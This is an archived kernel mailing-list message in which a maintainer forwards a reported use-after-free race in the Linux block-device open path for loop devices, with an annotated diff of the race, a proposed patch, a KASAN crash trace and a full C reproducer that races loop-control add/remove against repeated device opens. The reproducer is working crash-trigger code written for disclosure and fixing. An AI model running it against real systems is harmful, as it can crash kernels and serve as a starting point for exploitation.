Re: blkdev loop UAF

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Thanks for your report and the patch.  I am sending it to the
linux-block devs since it's already public.

regards,
dan carpenter

On Thu, Jan 11, 2018 at 03:51:06PM +0800, Foy wrote:
> BUG:
> diff --git a/fs/block_dev.c b/fs/block_dev.c
> index 4a181fc..db919a9 100644
> --- a/fs/block_dev.c
> +++ b/fs/block_dev.c
> @@ -1430,12 +1430,15 @@ static int __blkdev_get(struct block_device *bdev, fmode_t mode, int for_part)
>   restart:
>  
>         ret = -ENXIO;
> +       //2. Process C: loop_control_ioctl ==> LOOP_CTL_REMOVE ==> idr_remove 
> +       //3. Process B: get_gendisk ==> get_gendisk ==> kobj_lookup ==> loop_probe ==> loop_add, get a new disk(2)
>         disk = get_gendisk(bdev->bd_dev, &partno);
>         if (!disk)
>                 goto out;
>         owner = disk->fops->owner;
>  
>         disk_block_events(disk);
> +       //1. Process A get the disk(1),before the mutex_lock_nested.And then be scheduled 
>         mutex_lock_nested(&bdev->bd_mutex, for_part);
>         if (!bdev->bd_openers) {
>                 bdev->bd_disk = disk;
> @@ -1524,14 +1527,17 @@ static int __blkdev_get(struct block_device *bdev, fmode_t mode, int for_part)
>                         if (ret)
>                                 goto out_unlock_bdev;
>                 }
> +               //5. Process A disk(1) will be free,because disk(1)'s refs == 1
>                 /* only one opener holds refs to the module and disk */
>                 put_disk(disk);
>                 module_put(owner);
>         }
> +       //4. Process B: bdev->bd_openers != 0
>         bdev->bd_openers++;
>         if (for_part)
>                 bdev->bd_part_count++;
>         mutex_unlock(&bdev->bd_mutex);
> +       //6. Process A the disk(1) will be use
>         disk_unblock_events(disk);
>         return 0;
> 
> 
> 
> 
> Patch:
> diff --git a/fs/block_dev.c b/fs/block_dev.c
> index 4a181fc..1f5c7bf 100644
> --- a/fs/block_dev.c
> +++ b/fs/block_dev.c
> @@ -1526,13 +1526,15 @@ static int __blkdev_get(struct block_device *bdev, fmode_t mode, int for_part)
>  }
>  /* only one opener holds refs to the module and disk */
>  put_disk(disk);
> +disk = NULL;
>  module_put(owner);
>  }
>  bdev->bd_openers++;
>  if (for_part)
>  bdev->bd_part_count++;
>  mutex_unlock(&bdev->bd_mutex);
> -disk_unblock_events(disk);
> +if (disk)
> +disk_unblock_events(disk);
>  return 0;
>  
>   out_clear:
> 
> 
> 
> 
> Crash:
> ==================================================================
> BUG: KASAN: use-after-free in disk_unblock_events+0x4b/0x50 block/genhd.c:1657
> Read of size 8 at addr ffff880035c273f8 by task syz-executor6/21165
> 
> 
> CPU: 0 PID: 21165 Comm: syz-executor6 Not tainted 4.15.0-rc6 #18
> Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
> Call Trace:
>  __dump_stack lib/dump_stack.c:17 [inline]
>  dump_stack+0x104/0x1c5 lib/dump_stack.c:53
>  print_address_description+0x6e/0x280 mm/kasan/report.c:252
>  kasan_report_error mm/kasan/report.c:351 [inline]
>  kasan_report+0x254/0x340 mm/kasan/report.c:409
>  disk_unblock_events+0x4b/0x50 block/genhd.c:1657
>  __blkdev_get+0x5f5/0xdb0 fs/block_dev.c:1535
>  blkdev_get+0x338/0x9e0 fs/block_dev.c:1591
>  blkdev_open+0x1bd/0x240 fs/block_dev.c:1749
>  do_dentry_open+0x682/0xd80 fs/open.c:752
>  vfs_open+0x107/0x220 fs/open.c:866
>  do_last fs/namei.c:3379 [inline]
>  path_openat+0x1051/0x3220 fs/namei.c:3519
>  do_filp_open+0x25b/0x3b0 fs/namei.c:3554
>  do_sys_open+0x4ab/0x650 fs/open.c:1059
>  entry_SYSCALL_64_fastpath+0x1f/0x96
> RIP: 0033:0x40cd41
> RSP: 002b:00007ff1c06e5780 EFLAGS: 00000293 ORIG_RAX: 0000000000000002
> RAX: ffffffffffffffda RBX: 000000000071bf58 RCX: 000000000040cd41
> RDX: 0000000000000000 RSI: 0000000000080102 RDI: 00007ff1c06e5830
> RBP: 00000000000001e4 R08: 000000000000ffff R09: 0000000000000000
> R10: 0000000020024400 R11: 0000000000000293 R12: 00000000006efe00
> R13: 00000000ffffffff R14: 00007ff1c06e66d4 R15: 0000000000000002
> 
> 
> Allocated by task 21138:
>  set_track mm/kasan/kasan.c:459 [inline]
>  kasan_kmalloc+0xa9/0xd0 mm/kasan/kasan.c:551
>  kmem_cache_alloc_node_trace+0x153/0x280 mm/slub.c:2780
>  kmalloc_node include/linux/slab.h:537 [inline]
>  kzalloc_node include/linux/slab.h:699 [inline]
>  __alloc_disk_node+0xab/0x490 block/genhd.c:1400
>  loop_add+0x42f/0xa00 drivers/block/loop.c:1808
>  loop_control_ioctl+0x11c/0x450 drivers/block/loop.c:1940
>  vfs_ioctl fs/ioctl.c:46 [inline]
>  do_vfs_ioctl+0x18b/0x13c0 fs/ioctl.c:686
>  SYSC_ioctl fs/ioctl.c:701 [inline]
>  SyS_ioctl+0x7e/0xb0 fs/ioctl.c:692
>  entry_SYSCALL_64_fastpath+0x1f/0x96
> 
> 
> Freed by task 21165:
>  set_track mm/kasan/kasan.c:459 [inline]
>  kasan_slab_free+0x71/0xc0 mm/kasan/kasan.c:524
>  slab_free_hook mm/slub.c:1391 [inline]
>  slab_free_freelist_hook mm/slub.c:1412 [inline]
>  slab_free mm/slub.c:2968 [inline]
>  kfree+0xe2/0x2c0 mm/slub.c:3899
>  disk_release+0x300/0x3c0 block/genhd.c:1249
>  device_release+0x76/0x200 drivers/base/core.c:814
>  kobject_cleanup lib/kobject.c:648 [inline]
>  kobject_release lib/kobject.c:677 [inline]
>  kref_put include/linux/kref.h:70 [inline]
>  kobject_put+0x13d/0x230 lib/kobject.c:694
>  put_disk+0x1f/0x30 block/genhd.c:1465
>  __blkdev_get+0x560/0xdb0 fs/block_dev.c:1528
>  blkdev_get+0x338/0x9e0 fs/block_dev.c:1591
>  blkdev_open+0x1bd/0x240 fs/block_dev.c:1749
>  do_dentry_open+0x682/0xd80 fs/open.c:752
>  vfs_open+0x107/0x220 fs/open.c:866
>  do_last fs/namei.c:3379 [inline]
>  path_openat+0x1051/0x3220 fs/namei.c:3519
>  do_filp_open+0x25b/0x3b0 fs/namei.c:3554
>  do_sys_open+0x4ab/0x650 fs/open.c:1059
>  entry_SYSCALL_64_fastpath+0x1f/0x96
> 
> 
> The buggy address belongs to the object at ffff880035c26e80
>  which belongs to the cache kmalloc-2048 of size 2048
> The buggy address is located 1400 bytes inside of
>  2048-byte region [ffff880035c26e80, ffff880035c27680)
> The buggy address belongs to the page:
> page:0000000003af101f count:1 mapcount:0 mapping:          (null) index:0x0 compound_mapcount: 0
> flags: 0x100000000008100(slab|head)
> raw: 0100000000008100 0000000000000000 0000000000000000 00000001000f000f
> raw: ffffea0000946a00 0000000200000002 ffff880035c02d80 0000000000000000
> page dumped because: kasan: bad access detected
> 
> 
> Memory state around the buggy address:
>  ffff880035c27280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>  ffff880035c27300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> >ffff880035c27380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>                                                                 ^
>  ffff880035c27400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>  ffff880035c27480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> ==================================================================
> 
> 
> 
> 
> 


> #include <stdio.h>
> #include <string.h>
> #include <errno.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <pthread.h>
> #include <arpa/inet.h>
> #include <sys/types.h>
> #include <sys/socket.h>
> #include <sys/syscall.h>
> #include <sys/mman.h>
> #include <sys/time.h>
> #include <sys/resource.h>
> #include <netinet/in.h>
> #include <netinet/udp.h>
> #include <netinet/ip.h>
> #include <linux/xfrm.h>
> #include <linux/netlink.h>
> #include <linux/loop.h>
> #include <stdarg.h>
> #include <stdbool.h>
> #include <stddef.h>
> #include <sys/prctl.h>
> #include <sys/time.h>
> #include <sys/resource.h>
> 
> #define false 0
> #define true 1
> int controlfd;
> int count = 0;
> 
> #define ERR_EXIT1(m) \
>         do \
>         { \
>                 perror(m); \
>                 exit(EXIT_FAILURE); \
>         } while(0)
> 
> #define ERR_EXIT(m) \
>         do \
>         { \
>                 perror(m); \
>         } while(0)
> 
> void send_fd(int sock_fd, int send_fd) {
> 	int ret;
> 	struct msghdr msg;
> 	struct cmsghdr *p_cmsg;
> 	struct iovec vec;
> 	char cmsgbuf[CMSG_SPACE(sizeof(send_fd) * 253)];
> 	printf("cmsgbuf size:%d \n", sizeof(cmsgbuf));
> 	int *p_fds;
> 	char sendchar = 0;
> 	int i;
> 	msg.msg_control = cmsgbuf;
> 	msg.msg_controllen = sizeof(cmsgbuf);
> 	p_cmsg = CMSG_FIRSTHDR(&msg);
> 	p_cmsg->cmsg_level = SOL_SOCKET;
> 	p_cmsg->cmsg_type = SCM_RIGHTS;
> 	p_cmsg->cmsg_len = CMSG_LEN(sizeof(send_fd) * 253);
> 	p_fds = (int *) CMSG_DATA(p_cmsg);
> 	for (i = 0; i < 253; i++) {
> 		p_fds[i] = send_fd; // ??????????????????????????????????????????????????????
> 	}
> 
> 	msg.msg_name = NULL;
> 	msg.msg_namelen = 0;
> 	msg.msg_iov = &vec;
> 	msg.msg_iovlen = 1; //??????????????????????????????????????????1?????????
> 	msg.msg_flags = 0;
> 
> 	vec.iov_base = &sendchar;
> 	vec.iov_len = sizeof(sendchar);
> 	while (1) {
> 		ret = sendmsg(sock_fd, &msg, 0);
> 		if (ret != 1)
> 			ERR_EXIT("sendmsg");
> 	}
> }
> 
> int recv_fd(const int sock_fd) {
> 	int ret;
> 	struct msghdr msg;
> 	char recvchar;
> 	struct iovec vec;
> 	int recv_fd;
> 	char cmsgbuf[CMSG_SPACE(sizeof(recv_fd))];
> 	struct cmsghdr *p_cmsg;
> 	int *p_fd, i;
> 	vec.iov_base = &recvchar;
> 	vec.iov_len = sizeof(recvchar);
> 	msg.msg_name = NULL;
> 	msg.msg_namelen = 0;
> 	msg.msg_iov = &vec;
> 	msg.msg_iovlen = 1;
> 	msg.msg_control = cmsgbuf;
> 	msg.msg_controllen = sizeof(cmsgbuf);
> 	msg.msg_flags = 0;
> 
> 	p_fd = (int *) CMSG_DATA(CMSG_FIRSTHDR(&msg));
> 	*p_fd = -1;
> 	while (1) {
> 		ret = recvmsg(sock_fd, &msg, 0);
> 		if (ret < 0) {
> 			char buff[256];
> 			snprintf(buff, "recvmsg11: sock_fd:%d ret:%d", sock_fd, ret);
> 			ERR_EXIT(buff);
> 		}
> 
> 		p_cmsg = CMSG_FIRSTHDR(&msg);
> 		if (p_cmsg == NULL)
> 			ERR_EXIT("no passed fd");
> 
> 		p_fd = (int *) CMSG_DATA(p_cmsg);
> 		for (i = 0; i < 253; i++) {
> 			close(p_fd[i]);
> 		}
> 	}
> 	recv_fd = *p_fd;
> 	if (recv_fd == -1)
> 		ERR_EXIT("no passed fd");
> 
> 	return recv_fd;
> }
> 
> int test_main(void) {
> 	int sockfds[2];
> 	/* ??????unix????????????????????????????????????????????????????????????????????????????????????????????????
> 	 * ?????????????????????socketpair???????????????socket()?????? */
> 	if (socketpair(PF_UNIX, SOCK_STREAM, 0, sockfds) < 0)
> 		ERR_EXIT("socketpair");
> 
> 	pid_t pid;
> 	pid = fork();
> 	if (pid == -1)
> 		ERR_EXIT("fork");
> 	/* ??????????????????????????????????????????????????????????????????
> 	 * ??????????????????????????????????????????????????????????????????????????????????????? */
> 	if (pid > 0) {
> 		close(sockfds[1]);
> 		int fd = recv_fd(sockfds[0]);
> 		char buf[1024] = { 0 };
> 		read(fd, buf, sizeof(buf));
> 	} else if (pid == 0) {
> 		close(sockfds[0]);
> 		int fd;
> 		fd = open("test.txt", O_RDONLY);
> 		if (fd == -1)
> 			ERR_EXIT("open");
> 		send_fd(sockfds[1], fd);
> 	}
> 	return 0;
> }
> 
> int main(int argc, char *argv[]) {
> 	int ret;
> 	int child_pid;
> 	int fd;
> 	int loop_index;
> 	if (argc >= 2) {
> 		loop_index = atoi(argv[1]);
> 	} else {
> 		loop_index = 9;
> 	}
> 	child_pid = fork();
> 	if (child_pid) {
> 		child_pid = fork();
> 		if (child_pid) {
> 			child_pid = fork();
> 			child_pid = fork();
> 			while (1) {
> 				count++;
> 				count = count * 2;
> 			}
> 		} else {
> 			test_main();
> 		}
> 	}
> 	child_pid = fork();
> 
> 	if (child_pid) {
> 		printf("pid:%d nice:%d \n", getpid(), getpriority(PRIO_PROCESS, getpid()));
> 		controlfd = open("/dev/loop-control", O_RDWR);
> 		while (controlfd >= 0) {
> 			ret = ioctl(controlfd, LOOP_CTL_ADD, loop_index);
> 			ret = ioctl(controlfd, LOOP_CTL_REMOVE, loop_index);
> 		}
> 		close(controlfd);
> 	} else {
> 		child_pid = fork();
> 		printf("pid:%d  nice:%d \n", getpid(), getpriority(PRIO_PROCESS, getpid()));
> 		char name[100];
> 		memset(name, 0, 100);
> 		snprintf(name, 100, "/dev/loop%d", loop_index);
> 		if (child_pid) {
> 			prctl(PR_SET_NAME, "ppp");
> 			setpriority(PRIO_PROCESS, getpid(), 0);
> 			while (1) {
> 				fd = open(name, O_RDONLY);
> 				if (fd <= 0) {
> 					continue;
> 				}
> 				ret = close(fd);
> 			}
> 		} else {
> 			child_pid = fork();
> 			prctl(PR_SET_NAME, "ccc");
> 			setpriority(PRIO_PROCESS, getpid(), -5);
> 			while (1) {
> 				fd = open(name, O_RDONLY);
> 				if (fd <= 0) {
> 					continue;
> 				}
> 				ret = close(fd);
> 			}
> 		}
> 	}
> }






[Index of Archives]     [Linux RAID]     [Linux SCSI]     [Linux ATA RAID]     [IDE]     [Linux Wireless]     [Linux Kernel]     [ATH6KL]     [Linux Bluetooth]     [Linux Netdev]     [Kernel Newbies]     [Security]     [Git]     [Netfilter]     [Bugtraq]     [Yosemite News]     [MIPS Linux]     [ARM Linux]     [Linux Security]     [Device Mapper]

  Powered by Linux